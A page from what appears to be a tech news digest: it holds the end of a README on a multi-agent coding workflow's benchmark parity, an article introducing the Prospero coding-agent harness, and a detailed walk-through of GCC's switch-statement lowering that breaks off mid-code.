The authors' two columns are the regraded result files in their repository, the numbers in their paper. Our column is bench/results/parity-5pass/: all 50 runs, each with every request and reply, the program, the grader's output and the cost. A run took a median of 40 minutes and $0.39; the 50 cost $35.79.

What this does and does not show:

  • Ten problems, five passes, not the authors' 100. On a sample this small, 9.8 and 9.6 are the same number. The claim is parity with their harness, not a gain on it.
  • The contests date from spring 2025 and the model may have seen them in training. Contamination cannot be ruled out, for any column.
  • Fable 5's column is one call per problem, from the authors' files. It was not run in this harness.
  • The loop sees only the public samples; the score is the hidden tests.
  • The model ran on OpenRouter, not a local machine.
  • The one lost problem: the manager invented a wrong counterexample and the team rewrote a correct program. Twice elsewhere a correct program was overwritten and then recovered. Both gaps are the authors' loop, kept as is.

The parity check (every request byte for byte against their code), the hosts, the changes it took and the first run's findings are in NOTES.md. The same result, on one page: memdoor.ai/docs/team-solve.

Run it

curl -fsSL https://memdoor.ai/install.sh | bash
memdoor connect openrouter        # or anthropic, openai, gemini, chatgpt
# or no key: memdoor connect local   (Ollama, llama.cpp, vLLM, LM Studio; Ollama needs a 32K window, not its 4K default)
git clone --depth 1 https://github.com/guregodevo/memdoor

mkdir -p ~/.memdoor/workflows
cp -r memdoor/examples/workflows/team-solve ~/.memdoor/workflows/
mkdir my-problem && cd my-problem
cp -r ../memdoor/examples/workflows/team-solve/sample/* .    # task.md + tests/1.in … 5.out
memdoor workflow run team-solve --wait   # exit 0 when every sample passes

For your own problem, replace task.md and put paired tests/N.in / tests/N.out beside it. The program is solution.py, read from stdin, compared to the samples with diff; it needs Python 3 and bash. /workflow in memdoor tui draws the run live.

The steps name no model: whatever /model is pinned to answers, a local one included (how to connect one). To change a role, change its prompt in steps/.

How it works

plan ──┬── ideate-a ──┬── solve ── test ── review ── repair ── verify
       └── ideate-b ──┘

step kind reads writes plan agent task.md plan.md, notes.md ideate-a, ideate-b agent, in parallel the plan a proposal each: the most direct provable algorithm, and one from another family solve agent both proposals solution.py, the decision in notes.md test command tests/ test-output.log (never fails the run) review agent the test output repair instructions in notes.md repair agent the instructions a fixed solution.py, or nothing verify command tests/ the verdict: a nonzero exit fails the run

Every agent prompt says "fresh context, read the files, do not rely on chat". The paper credits that ledger discipline for the gain. Each step is one YAML file in steps/, in the format of mario, the engine underneath; requires: is the DAG.

The Daily Front Page 12 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — A Civilized Harness
article

Prospero: A new coding harness for a more civilized age

by fovc·▲ 197 points·126 comments·nullprogram.com ↗
a new coding harness for a more civilized age

I’ve been fascinated with local LLMs for a couple of years now. The better open weight models, including some that inference on regular, higher-end consumer hardware at tolerable speeds, are now reliable enough to handle simpler programming tasks. This requires a coding harness, but so far this year I’ve been disappointed by all the harness offerings. For inexplicable reasons most are built with web stacks, and consume enormous amounts of memory. At its core a coding harness is essentially curl glued to popen(). This should not require gigabytes of RAM. So I built my own: Prospero. It’s written in my C++ style with a snappy Dear ImGui docking interface. It uses around two orders of magnitude fewer resources than other harnesses without sacrificing features.

Dark mode aficionados are covered, too:

Note that Prospero comes with no model providers built-in. You’re expected to supply that yourself, such as with llama.cpp, a workplace on-prem model, OpenRouter, Anthropic API, OpenAI API, etc. (You can’t use your Claude subscription.)

For those unfamiliar with coding harnesses: In a chat interface you and the AI take turns writing messages to each other. A coding harness extends this concept, allowing an AI to “talk” to tools offered by the harness. Tools “reply” with their outputs. A tool might read or write a file, or run a shell command. An AI will go from tool call to tool call on its own, looping on the results. Such an AI is called an agent. Occasionally the AI will send you a message to inform you of progress or to ask a question, and the chat interface is still there.

Some harnesses, including Prospero, allow agents to spawn subagents to do their bidding, to work in parallel or keep their context clean. That is, to not fill their working memory with subtasks. Agents can message one another and coordinate on tasks. Given SSH access to another machine, or over plain WSL, Prospero can deploy a headless copy of itself to other hosts so that agents can operate on those systems. The Professional Edition embeds engines for combinations of x86/x86-64 and ARM64 on macOS, Windows, and Linux. The Windows x86 engine even works on Windows XP, and can play solitaire and minesweeper if you ask.

The last is because Prospero is one of the few harnesses with desktop control capabilities. If your model supports vision — any any model worth using does — then it can “see” your desktop and interact with it. It can click, type, and drag to test and debug GUI applications live without a specialized, per-app MCP assist.

This headless engine is why no TUI is necessary. The harness engine runs on the headless system, and the UI runs on your desktop or laptop. With a little extra setup, the harness to run fully independently of the GUI, so that it will continue without the GUI system attached — re-attachable later.

Because Prospero is so lean, it may be the only harness that can drive a fuzz campaign, particularly on a headless system, without the Linux OOM killer targeting the memory-gobbling harness rather than the out-of-control fuzz target that triggered it. So many times I’ve checked back in on a fuzz campaign hours later, to find nothing was accomplished because the harness process is gone.

(Why have an agent run a fuzz campaign? Because it can fix discovered bugs on the fly and keep the campaign going! It’s a no brainer.)

Configuration

The configuration lives at ~/.config/prospero/prospero.ini. Easy to edit. No JSON, thank goodness. Check it into source control, copy-paste it. All the usual benefits. Alternatively, the Settings page can reach every setting from the GUI, so you don’t have to edit the INI by hand. INI files can also include each other, not just naming file system paths but URLs:

include = https://example.com/prospero.ini

The idea is to allow a live shared or managed configuration. Includes by URL are restricted in what they can set, with a hard rule against anything which might appear in shell command. Some trust is still required, as a configuration can extract an environment variable by using it as an API key and supplying an endpoint it controls.

Prospero fetches a model list and other parameters like context size from the endpoint, but you might want to tweak it. A typical configuration may look like:

model = falstaff/Qwen3.8-27B

[endpoint falstaff]
url = http://falstaff.local/
key = env:FALSTAFF_API_KEY

[model Qwen3.8-27B]
edit_format = replace
template.reasoning_effort = medium

[model Qwen3.8-27B-xhigh]
like = Qwen3.8-27B
template.reasoning_effort = xhigh

[web]
search = searxng
url = https://search.example.com/
key = env:EXAMPLE_API_KEY

Passive rendering

The ImGui paradigm typically uses active rendering, redrawing on vsync like a video game. This is appropriate in some contexts, like interfaces within video games. Less so for mostly-static text-oriented UIs, such as a coding harness. Instead Prospero uses passive rendering with settle frames to finish animations before going idle. When there’s nothing to do, Prospero does nothing. It won’t chew on the GPU while the agent is waiting on a build.

Never wait forever

An annoyance with most other harnesses is how easily they get stuck. I set a long-running task, go to sleep, and in the morning find the harness hung on a trivial issue two hours into the night, wasting the rest. Therefore Prospero prime design principle: Never wait forever. Every operation has a deadline. This decision influences everything. If you’re not there to grant a requested permission, the agent will get a denial by timeout and must do without. To assist, Prospero will raise a system toast when an agent requires your attention so that you’re less likely to miss it if you’re attending.

The harness itself plows through intermittent errors, trying its best to drive the agent to complete its task. All network requests have timeouts, and watchdogs prevent endless waiting. Agent mailboxes are bounded.

Shell commands that hit their timeout convert to asynchronous background commands. The agent can continue to wait on them, with a timeout, and so will be woken at regular intervals to decide if it should continue.

The one exception is Plan mode, where it waits indefinitely after offering a plan or requesting clarification (ask_user tool). It’s expected that a user is attending to the agent during Plan mode.

No stray processes

The harnesses I’ve used have improved, but another regular annoyance earlier this year was agents starting processes that never get cleaned up. An agent kicks off a parallel build, hits a timeout because it was too optimistic, the build “stops” by killing a piece of the build system. But actually the build continues anyway, at least in part. The agent tries again, and now two builds are going, interfering with each other, making a mess and bringing my system to its knees.

For awhile I was wary of letting agents run builds in certain harnesses, which is a terrible outcome. You want agents to close the loop and iterate independently. A human in the loop is like putting a ball and chain on the agent, giving up most of its advantages.

Prospero promoting a synchronous timeout to an asynchronous task is a huge improvement on its own, but there’s an additional principle at play: The whole process tree lives and dies together. When a command is stopped, it stops. This is trivial on Windows, though few harnesses seem to take advantage of it. It’s more difficult on macOS and Linux, but Prospero follows through.

Built-in self-help

Like every harness, Prospero supports skills, a pre-packaged set of instructions on how to accomplish some task (“I know kung fu.”). Prospero contains a skill on itself and can read its built-in documentation. Ask the agent how to do or configure something in Prospero, and the agent can only answers your question, it can provide a hyperlink taking you to the relevant place in the UI. It can also edit your prospero.ini and reload it, to configure things on your behalf. This is not unique to Prospero, but I’m not aware of any harness doing this nearly as well.

Choose your shell

On Windows, Prospero is designed to work well with w64devkit, and will prefer its shell if available. Models designed for coding know w64devkit out-of-the-box, so these tools are complementary. Of course you’re not locked into that shell, and you can freely choose a different default shell. But Prospero is a rare harness where you can change shells mid session. Sometimes PowerShell is more suited to the task, so you can pick it out of the dropdown. The agent is informed of the change, and told about known quirks (i.e. “this is an old Bash!”). On macOS you can switch between bash and zsh.

The usual features

Prospero has the usual sorts of features you can expect from an advanced shell. It can use Git worktrees, including subagent worktrees, so that agents can share a repository. It speaks the Model Context Protocol (MCP). It can search the web (if you allow). You can start side chats that share context, realized as subagents. You can fork sessions.

For now there is no built-in terminal or editor. Instead Prospero will open an external terminal or editor of your choosing. I’d rather use Vim than a built-in notepad.exe-equivalent. With Ctrl+G you can edit your prompt in an external editor.

Like all harnesses, the permissions system will not stop a malicious agent. Agents are writing and running programs on your computer, and so can ultimately access everything the harness can access. Permissions are about gently reminding the agent of your wishes, and catching simple mistakes. More like, “Whoa there, stay within the project” or, “Do not control my desktop at this time.” If you want to lock an agent out, you have to restrict the harness itself, putting it in a container or on a Raspberry Pi, at the usual cost of inconvenience or cutting off useful resources.

Community Edition versus Professional

I’m really excited about Prospero, and I honestly feel it’s one of the best coding harnesses available. It’s how such tools ought to be built, but until now nobody else stepped up to do it. It would take a video to do it justice, and maybe I’ll do that sometime, but that’s currently outside my experience.

Most of the audience for my projects are hobbyists, even w64devkit. But if Prospero goes beyond me and my little circle, I expect most users would be professionals building commercial products. I’ve also invested more than just my time into this project — already true for w64devkit, even more true with Prospero. So while it’s an open source project, I’ve split it into two tiers:

  • Community Edition: the build you find on GitHub at no cost. It has no built-in headless engines, so remote deployments are limited. Plus a little nag text to remind you you’re on the Community Edition. Suited for hobbyists.
  • Professional Edition: Pay a nominal fee, get a DRM-free download with free updates. All the headless engines are built in so you can push remote deployments and remote sessions on other systems at the press of a button. A serious feature for professionals.

Windows and macOS builds are code-signed in both cases (some of the cost). If Prospero is useful for you professionally, even without the remote deployment feature, you’re still encouraged to buy a copy to support my ongoing costs!

The Daily Front Page 13 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Under the Compiler Hood
article

Switch Lowering in GCC

by signa11·▲ 208 points·47 comments·xoranth.net ↗
switch statements are more complex than they seem

Switch lowering in GCC

Introduction

We have seen in a previous post that switch statements are more complex than they seem. The compiler is able to implement them as a decision tree (even though maybe it shouldn't). Is that everything it can do?

In this post, I'll focus on gcc. All optimizations, except the bitset lowering, translate to clang. I'll be using the -O3 optimization flag unless indicated otherwise.

I've also slightly edited gcc code and removed certain assertions for brevity.

Examples

Let us start with a simple example. A function that takes two integers x and val. Depending on the value of x, it calls a corresponding function (f0, f1, and so forth) with val as an argument and returns the result. Were we to implement this manually, we'd would use an array of function pointers, where the input serves as the index into the array.

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 1:
            return f1(val);
        case 2:
            return f2(val);
        case 3:
            return f3(val);
        case 4:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 4
	ja	.L2
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L7
	.quad	.L6
	.quad	.L5
	.quad	.L3
.L5:
	jmp	f3
.L3:
	jmp	f4
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L2:
	xor	eax, eax
	ret

The compiler agrees with this approach, and transforms the switch statement into a jump table.

Moreover, it is able to identify when the values are offset by a constant:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact(int x, int val) {
    switch (x) {
        case 97:
            return f0(val);
        case 98:
            return f1(val);
        case 99:
            return f2(val);
        case 100:
            return f3(val);
        case 101:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact:
	lea	eax, [rdi-97]
	cmp	eax, 4
	ja	.L2
	mov	edi, esi
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L7
	.quad	.L6
	.quad	.L5
	.quad	.L3
.L5:
	jmp	f3
.L3:
	jmp	f4
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L2:
	xor	eax, eax
	ret

Our intuition suggests that the more sparse the values, the less advantageous the jump table conversion is.

Through experimentation, we find that gcc considers the threshold to be around eight jump table entries per case label.

In other words, the following function compiles to a jump table:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact_7(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 7:
            return f1(val);
        case 14:
            return f2(val);
        case 21:
            return f3(val);
        case 34:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact_7:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 34
	ja	.L2
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L7
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L6
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L5
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L3
.L2:
	xor	eax, eax
	ret
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L5:
	jmp	f3
.L3:
	jmp	f4

But this other function is expanded as a tree of comparisons:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int sparse_8(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 8:
            return f1(val);
        case 16:
            return f2(val);
        case 24:
            return f3(val);
        case 40:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
sparse_8:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 16
	je	.L2
	jle	.L10
	cmp	eax, 24
	je	.L7
	cmp	eax, 40
	jne	.L1
	jmp	f4
.L10:
	test	eax, eax
	je	.L4
	cmp	eax, 8
	jne	.L1
	jmp	f1
.L1:
	xor	eax, eax
	ret
.L4:
	jmp	f0
.L7:
	jmp	f3
.L2:
	jmp	f2

A couple of observations:

  1. We've only tried equally spaced values so far. Can the compiler identify transformations that are profitable on a subset of all cases?
  2. So far each case led to a different result. What if we had different cases with the same result?
  3. The switch in sparse_8 could be simplified by dividing x by eight before the jump. Interestingly, gcc doesn't find this simplification.

Let's dig into 1. and 2.

Outliers

Altering our first example by including an outlier value shows that the compiler is able to recognize dense subsets of cases.

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);
int f5(int val);

int outlier(int x, int val) {
    switch (x) {
        case 1:
            return f0(val);
        case 2:
            return f1(val);
        case 3:
            return f2(val);
        case 4:
            return f3(val);
        case 5:
            return f4(val);
        case 100:
            return f5(val);
        default:
            return 0;
    }
    return 0;
}
outlier:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 5
	jg	.L2
	test	eax, eax
	jle	.L1
	cmp	eax, 5
	ja	.L4
	jmp	[QWORD PTR .L6[0+rax*8]]
.L6:
	.quad	.L4
	.quad	.L4
	.quad	.L9
	.quad	.L8
	.quad	.L7
	.quad	.L5
.L2:
	cmp	eax, 100
	jne	.L1
	jmp	f5
.L7:
	jmp	f3
.L5:
	jmp	f4
.L9:
	jmp	f1
.L8:
	jmp	f2
.L4:
	jmp	f0
.L1:
	xor	eax, eax
	ret

The compiler emits a branch for case 100, but emits a jump table for case 1 through 5.

Contiguous

In our examples so far, each case statement lead to a different code block. Let's test what happens when multiple case labels invoke the same function.

int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);
int f5(int val);

int blocks_2(int x, int val) {
    switch (x) {
        case 0:  case 1:  case 2:  case 3:
            return f1(val);
        case 21:  ...  case 24:
            return f2(val);
        case 42:  ...  case 45:
            return f3(val);
        case 63:  ...  case 66:
            return f4(val);
        case 84:  ...  case 87:
            return f5(val);
        default:
            return 0;
    }
    return 0;
}
blocks_2:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 45
	jg	.L2
	cmp	eax, 41
	jg	.L3
	cmp	eax, 3
	jg	.L4
	test	eax, eax
	js	.L1
	jmp	f1
.L2:
	cmp	eax, 66
	jg	.L8
	cmp	eax, 62
	jle	.L1
	jmp	f4
.L4:
	sub	eax, 21
	cmp	eax, 3
	ja	.L1
	jmp	f2
.L8:
	sub	eax, 84
	cmp	eax, 3
	ja	.L1
	jmp	f5
.L3:
	jmp	f3
.L1:
	xor	eax, eax
	ret

We have 20 case labels, with values between 0 and 87. The compiler could lower this switch to a jump table with 88 entries. Our hypothesis for the heuristic is that a jump table conversion is profitable when its size is smaller than 8 * num_case_labels. Since 88 < 20 * 8, the conversion should be profitable in this case, however gcc opted to lower the switch to a sequence of comparisons.

To better understand why, let's examine a specific block of case labels.

int blocks_2(int x, int val) {
    switch (x) {
        // ...
        case 42:  case 43:  case 44:  
        case 45:
            return f3(val);
        // ...
    }
    return 0;
}
blocks_2:
	mov	eax, edi ; Move `val` to $eax
	mov	edi, esi
	cmp	eax, 45
	; If val <= 45, do _not_ jump
	jg	.L2
	cmp	eax, 41
	; If val >= 42, jump to L3
	jg	.L3
	; ...
.L2:
; ...
.L3:
        ; We reach L3 only if 42 <= val <= 45
        jmp	f3        ; Call f3(val)
; ...

The compiler realizes that the cases are contiguous and can be implemented with two comparisons instead of four. If the input of the jump table heuristic is the number of comparisons instead of case labels, things work out:

We have a total of 10 comparisons. Since 10 * 8 < 88, our revised heuristic suggests that a jump table transformation is unprofitable.

Non-contiguous

Let us try a non-contiguous case.

int f1(int val);

int bittest(int x, int val) {
    switch (x) {
        case '0':  case '2':  case '4':  
        case '5':  case '7':  case '9':  
        case 'A':  case 'C':  case 'E':
            return f1(x);
        default:
            return 0;
    }
    return 0;
}
bittest:
	lea	eax, [rdi-48]
	cmp	eax, 21
	ja	.L1
	mov	edx, 2753205  ; ???
	bt	rdx, rax
	jc	.L7
.L1:
	xor	eax, eax
	ret
.L7:
	jmp	f1

The compiler emits non-intuitive machine code. Why is there no cmp nor jump tables? Where does the constant 2753205 come from?

An hint comes from the instruction bt. According to the Intel docs, bt:

Selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset (specified by the second operand) and stores the value of the bit in the CF flag.

If we examine the binary representation of 2753205, we find that it is in fact a bitset. The bits that are set to one correspond to the ASCII values of the case labels, each value being reduced by 48.

Implementation

We've encountered several distinct lowering strategies employed by gcc. For a more in-depth understanding, we can delve into the compiler's source code.

The compiler pass that responsible for lowering switch statements is the (appropriately named) pass_lower_switch, which in turn calls analyze_switch_statement.

Since gcc source can be daunting to follow, I'll provide a step-by-step commented version below. Following this, I will break down each section to explain its functionality.

bool switch_decision_tree::analyze_switch_statement () 
{
    unsigned l = gimple_switch_num_labels (m_switch);
    auto_vec<cluster *> clusters;
    // ...

    compute_cases_per_edge ();

Some preamble code. m_switch points to a gimple object. Gimple is the internal representation used by gcc. Through this, we extract the overall count of cases and the individual counts of cases for each outgoing edge.

We also allocate a vector that will record the lowering strategy chosen for each case label.

    for (unsigned i = 1; i < l; i++)
    {
        tree elt = gimple_switch_label (m_switch, i);
	// ...
        tree low = CASE_LOW (elt);
        tree high = CASE_HIGH (elt);

        profile_probability p
            = case_edge->probability.apply_scale (1, (intptr_t) (case_edge->aux));
        clusters.quick_push (new simple_cluster (low, high, elt, case_edge->dest, p));
        // ...
    }

More setup code. We notice that gimple has a concept of high and low value for each label. That is, contiguous case labels have already joined together at this stage.

For each case label, we allocate a simple_cluster. This cluster serves as a record, capturing the range of values associated with the label, the relevant output edge, and the likelihood of this cluster being chosen. This probability comes from profile-guided optimization. By default it is uniform among case labels.

    // ...
    vec<cluster *> output = bit_test_cluster::find_bit_tests (clusters);

We transform the vector of clusters we have created. The name bit_test_cluster hints to the bitset lowering strategy we saw before.

    /* Find jump table clusters.  */
    vec<cluster *> output2;
    auto_vec<cluster *> tmp;
    // ...
    
    for (unsigned i = 0; i < output.length (); i++) {
        cluster *c = output[i];
        if (c->get_type () != SIMPLE_CASE) {
            if (!tmp.is_empty ()) {
                // ... See below for what's here
                tmp.truncate (0);
            }
            output2.safe_push (c); 
        }
        else
            tmp.safe_push (c);
    }

This section allocates a vector for the transformed cases and a scratch vector. Any case that wasn't altered during the bitset transformation process is gathered in this scratch vector. These cases are then processed and cleared whenever we come across an optimized cluster.

Essentially, in this section we are looking for sequences of case labels that couldn't be converted into bitset clusters.

                vec<cluster *> n = jump_table_cluster::find_jump_tables (tmp);
                output2.safe_splice (n);
                n.release ();

We attempt to convert these consecutive labels into a jump table and add the outcome to the output.

    /* We still can have a temporary vector to test.  */
    if (!tmp.is_empty ()) {
        vec<cluster *> n = jump_table_cluster::find_jump_tables (tmp);
        output2.safe_splice (n);
        n.release ();
    }

This is a coda for the loop above.

    // ...

    bool expanded = try_switch_expansion (output2);
    release_clusters(output2);
    return expanded;
}

Whatever is left goes through another pass, which turns the switch statement into a decision tree. The bitsets and jump table are leaves of the decision tree.

Bitsets

Let's dig further into bit_test_cluster::find_bit_tests. The high level structure of the code is as follow.

Initially, we aim to find the optimal method to bundle all clusters into bitsets. Optimality, in this context, refers to minimizing the number of bitsets used. We do so using dynamic programming.

Subsequently, we iterate over the bitsets and apply a profitability heuristic. If the bitsets meet this heuristic, we emit a bit_test_cluster; otherwise, we keep the original simple_clusters.

vec<cluster *> bit_test_cluster::find_bit_tests (vec<cluster *> &clusters)
{
    // ...

    unsigned l = clusters.length ();
    auto_vec<min_cluster_item> min;
    // ...

    min.quick_push (min_cluster_item (0, 0, 0));
    for (unsigned i = 1; i <= l; i++)
    {
        /* Set minimal # of clusters with i-th item to infinite.  */
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));

        for (unsigned j = 0; j < i; j++)
        {
            if (min[j].m_count + 1 < min[i].m_count
                    && can_be_handled (clusters, j, i - 1))
                min[i] = min_cluster_item (min[j].m_count + 1, j, INT_MAX);
        }

        gcc_checking_assert (min[i].m_count != INT_MAX);
    }

For the dynamic programming, we'll use a vector of min_cluster_item structures. Each min_cluster_item has three components:

  • The first records how many bitsets do we need to represent the first i case labels, where i is the index in the vector.
  • The second records the start of the last bitset.
  • The third is unused.

The dynamic programming is as follows. We want to find the minimum number of bitsets to represent the first i case labels.

The base case is straightforward, a single case label can be represented by a single bitset.

Suppose we have already have found the optimal number of bitsets for the first j case label, for all . We define to be the optimal number of splits for the first i elements. This means we already computed , and are now seeking .

If the range of case labels can be represented as a bitset cluster, it must be true that

Conversely, assume we have the optimal assignment for the first i labels. If the last bitset starts at label , this assignment is also optimal when restricted to . Were this not the case, we could improve the assignment on as well.

Therefore, it must be that:

These conditions are exactly what the if statement in the code above checks for.

The can_be_handled function controls whether a range of case labels can be turned into a bitset test. It tests two criteria:

  • The combined range of all the case labels must be smaller than the width of a register. On contemporary systems, the combined range should be less than 64.
  • The case labels must have at most 3 unique outgoing edges.

If there is more than one edge, we emit a cascade of bit tests.

    vec<cluster *> output;
    // ...
    
    /* Find and build the clusters.  */
    for (unsigned end = l;;)
    {
        int start = min[end].m_start;

        if (is_beneficial (clusters, start, end - 1))
        {
            bool entire = start == 0 && end == clusters.length ();
            output.safe_push (new bit_test_cluster (clusters, start, end - 1, entire));
        }
        else
            for (int i = end - 1; i >= start; i--)
                output.safe_push (clusters[i]);

        end = start;

        if (start <= 0)
            break;
    }

    output.reverse ();
    return output;
}

Now we convert only bitsets that satisfy the is_beneficial test. In the code count represents the number of case labels handled by the cluster, while uniq denotes the number of distinct outgoing edges.

bool bit_test_cluster::is_beneficial (unsigned count, unsigned uniq)
{
    return (((uniq == 1 && count >= 3)
              || (uniq == 2 && count >= 5)
              || (uniq == 3 && count >= 6)));
}

Jump tables

The logic for jump table conversion mirrors the one used for bit test conversion. It leverages dynamic programming to identify "clusters" that can be profitably converted to a jump table.

Let's delve into the code.

vec<cluster *> jump_table_cluster::find_jump_tables (vec<cluster *> &clusters)
{
    if (!is_enabled ())
        return clusters.copy ();

    unsigned l = clusters.length ();
    auto_vec<min_cluster_item> min;
    min.reserve (l + 1);

We start by preallocating a vector of min_cluster_item. We'll use this vector to keep track of the best jump table assignments for consecutive case clusters.

    min.quick_push (min_cluster_item (0, 0, 0));

We also push the base case for dynamic programming. This corresponds to using a single jump table for the whole switch.

Let's focus now on the main loop.

    unsigned HOST_WIDE_INT max_ratio = /* Used in the main heuristic. See next snippet */;
                
    for (unsigned i = 1; i <= l; i++)
    {
        // NOTE(xoranth): Base case
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));
        
        /* Pre-calculate number of comparisons for the clusters.  */
        HOST_WIDE_INT comparison_count = 0;
        for (unsigned k = 0; k <= i - 1; k++)
        {
            simple_cluster *sc = static_cast<simple_cluster *> (clusters[k]);
            // NOTE(xoranth): get_comparison_count is 2 for contiguous case 
            // labels, and 1 otherwise
            comparison_count += sc->get_comparison_count ();
        }

        for (unsigned j = 0; j < i; j++)
        {
            unsigned HOST_WIDE_INT s = min[j].m_non_jt_cases;
            if (i - j < case_values_threshold ())
                s += i - j;
            
            /* Prefer clusters with smaller number of numbers covered.  */
            if (/* Check if new split is better. See next snippet */) 
            {
                // NOTE(xoranth): Update best score.
                min[i] = min_cluster_item (min[j].m_count + 1, j,
					   s /* `s` is the number of unhandled cases */);
            }

            simple_cluster *sc = static_cast<simple_cluster *> (clusters[j]);
            comparison_count -= sc->get_comparison_count ();
        }
    }

The dynamic programming loop mirrors the one we used for bitsets. We want to find the minimum number of jump tables to represent the first i case labels.

We iterate over splits at the j-th case label, for j < i. During each iteration we track the best scoring split. The special case j == 0 represents a single jump table for the entire switch statement.

Inside this inner loop we also keep track of:

  1. How many distinct jump tables we would need to lower the switch.
  2. The start of the last jump table of the decomposition.
  3. How many cases cannot be handled by a jump table. In the code, this is the accumulator s.

Point 1. and 2. are analogous to the bitset lowering pass, while 3. is new and specific to jump tables.

Namely, there is some overhead to dispatching to a jump table, due to the indirect jump and the need to check bounds. Therefore gcc requires a minimum amount of case labels to generate a jump table.

If a split would generate a jump table that is too small, the size of the jump table is added to an accumulator s, which is used as a tie-breaker between different split candidates.

To compute the scoring, we need the comparison count between j-th and the i-th case label. We compute it summing up the number of comparisons for all labels, and decreasing the count as we progress in the inner loop.

We also need the number of unhandled case labels. We determine it comparing the size of the jump table to the result of the case_values_threshold function. This function is architecture dependent and takes into account the presence of switch-case specific instructions, but on modern x64 and Arm64 machines, it defaults to 5.

unsigned int default_case_values_threshold (void) {
    return (targetm.have_casesi () ? 4 : 5);
}

Let's now focus on the main heuristic, starting with how max_ratio is computed. I've reproduced below the main loop, omitting lines unrelated to the main heuristic.

We've seen in the examples section that gcc uses the ratio between jump table entries and comparisons as a metric for the lowering the heuristic. The code below shows that distinct ratios are used when optimizing for speed (flags -O[123|fast]) or size (flag -Os). Specifically, a ratio of 8 is used when optimizing for speed, while a ratio of 2 is used when optimizing for size.

    unsigned HOST_WIDE_INT max_ratio
        = (optimize_insn_for_size_p ()
                ? param_jump_table_max_growth_ratio_for_size    // This is `2`
                : param_jump_table_max_growth_ratio_for_speed); // This is `8`

    for (unsigned i = 1; i <= l; i++)
    {
        /* Set minimal # of clusters with i-th item to infinite.  */
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));

        // NOTE(xoranth): Compute comparison count, see previous snippet

        for (unsigned j = 0; j < i; j++)
        {
            // NOTE(xoranth): Compute unhandled cases, see previous snippet
            
            /* Prefer clusters with smaller number of numbers covered.  */
            if ((min[j].m_count + 1 < min[i].m_count)
               || (min[j].m_count + 1 == min[i].m_count && s < min[i].m_non_jt_cases)
               && can_be_handled (clusters, j, i - 1, max_ratio, comparison_count)) 
            {
                min[i] = min_cluster_item (min[j].m_count + 1, j,
					   s /* `s` is the number of unhandled cases */ );
            }

            // NOTE(xoranth): Update comparison count, see previous snippet
        }
    }

Now onto the main loop. Given two splits, we prefer the one that results in fewer jump tables being emitted. Or, if they would result in the same number of jump tables, we prefer the one that handles the most case labels. We also ignore splits that would result in unprofitable jump tables, where profitability is checked by the can_be_handled function.

The can_be_handled condition, checks for overflow and compares the ratio of case labels to jump table entries:

bool jump_table_cluster::can_be_handled (const vec<cluster *> &clusters,
                                         unsigned start, unsigned end,
                                         unsigned HOST_WIDE_INT max_ratio,
                                         unsigned HOST_WIDE_INT comparison_count)
{
    /* If the switch is relatively small such that the cost of one
       indirect jump on the target are higher than the cost of a
       decision tree, go with the decision tree.

       [...]

       For algorithm correctness, jump table for a single case must return
       true.  We bail out in is_beneficial if it's called just for
       a single case.  */
    if (start == end)
        return true;

    unsigned HOST_WIDE_INT range = get_range (clusters[start]->get_low (), clusters[end]->get_high ());
    /* Check for overflow.  */
    // ...

    return lhs <= max_ratio * comparison_count;
}

The coda of the function also mirrors the one for bitset clusters. It iterates over all jump tables in reverse order, and prunes the ones that fail the is_beneficial check.

    vec<cluster *> output;
    output.create (4);

    /* Find and build the clusters.  */
    for (unsigned int end = l;;)
    {
        int start = min[end].m_start;

        /* Do not allow clusters with small number of cases.  */
        if (is_beneficial (clusters, start, end - 1))
            output.safe_push (new jump_table_cluster (clusters, start, end - 1));
        else
            for (int i = end - 1; i >= start; i--)
                output.safe_push (clusters[i]);
        end = start;

        if (start <= 0) break;
    }

    output.reverse ();
    return output;
}

The is_beneficial check for jump tables aims to prune small jump tables. It compares the number of case labels to case_values_threshold.

bool jump_table_cluster::is_beneficial (const vec<cluster *> &, unsigned start, unsigned end) {
    if (start == end) return false;
    return end - start + 1 >= case_values_threshold ();
}

Binary tree

If gcc cannot emit a bitset cluster or a jump table, it falls back to a binary tree of comparison.

In emitting the tree, it takes into account the probability of each case label cluster. The probability can be obtained via profile-guided optimization, or with the __builtin_expect_with_probability builtin.

The code is pretty straightforward.

void switch_decision_tree::balance_case_nodes (case_tree_node **head, case_tree_node *parent) 
{
    case_tree_node *np = *head;
    if (np) {
        int i = 0;
